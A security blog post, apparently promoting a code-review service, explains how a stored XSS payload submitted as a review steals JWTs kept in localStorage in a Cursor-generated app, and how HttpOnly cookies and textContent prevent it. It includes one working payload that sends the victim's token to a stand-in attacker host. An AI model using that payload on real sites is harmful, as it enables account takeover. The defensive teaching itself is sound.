How Your Token Gets Stolen Without You Knowing — XSS in AI-Built Apps
If you've built an app with Cursor, ChatGPT, or any AI coding tool — there's a good chance your authentication token is exposed without you knowing it.
In this article I'll show you exactly how a Stored XSS attack works on an AI-generated application, why it's possible, and what you can do to prevent it.
What is a JWT and why does storage location matter
After you log in to a website, the server sends back a JWT — a token that proves you're authenticated. Your application needs to store it somewhere in the browser to use on subsequent requests.
There are two main options: localStorage or an HttpOnly cookie.
Cursor, by default, chooses localStorage. It's simple to implement and works immediately. The problem is that any JavaScript on the page can read localStorage. Anything.
What is Stored XSS
XSS — Cross-Site Scripting — is a vulnerability where an attacker manages to inject JavaScript code into your page. When another user opens that page, the code runs in their browser.
Stored XSS means the malicious payload is saved in the database — for example as a review or comment — and runs automatically for anyone who visits that page.
The live demonstration
I built an app with Cursor: login, reviews section, connected to Supabase, deployed to Vercel. Cursor generated all the code with no security guidance whatsoever.
Then I created a new account — the attacker's account — and instead of a normal review I submitted:
<img src=x onerror="fetch('https://attacker-server.com/steal?token='+encodeURIComponent(localStorage.getItem('authToken')))"> The browser tries to load the image. The source doesn't exist. The onerror event fires. The JavaScript runs immediately in the browser of anyone who opens the reviews page.
Result: the victim's JWT lands on the attacker's server. Without the victim clicking anything. Without them knowing anything happened.
Why it worked
Cursor displayed reviews using innerHTML — which interprets raw HTML instead of treating it as text. And it stored the token in localStorage — readable by any script on the page.
Two technical decisions, made automatically by AI, without being asked.
How to prevent it
First decision: store the token in an HttpOnly cookie, not localStorage. JavaScript cannot read HttpOnly cookies at all — the attack becomes impossible even if XSS exists.
Second decision: sanitize user input before displaying it. In React, use {review.text} not dangerouslySetInnerHTML. In vanilla JS, use textContent not innerHTML.
Conclusion
AI-built apps work. But AI optimizes for speed, not security. It makes implicit decisions you may have never noticed.
At guwAPI we review what the AI actually wrote before it goes anywhere near production. If you want to know what's in your app, reach out at stefan@guwapi.com.
Reactions
Pick one — one reaction per browser.
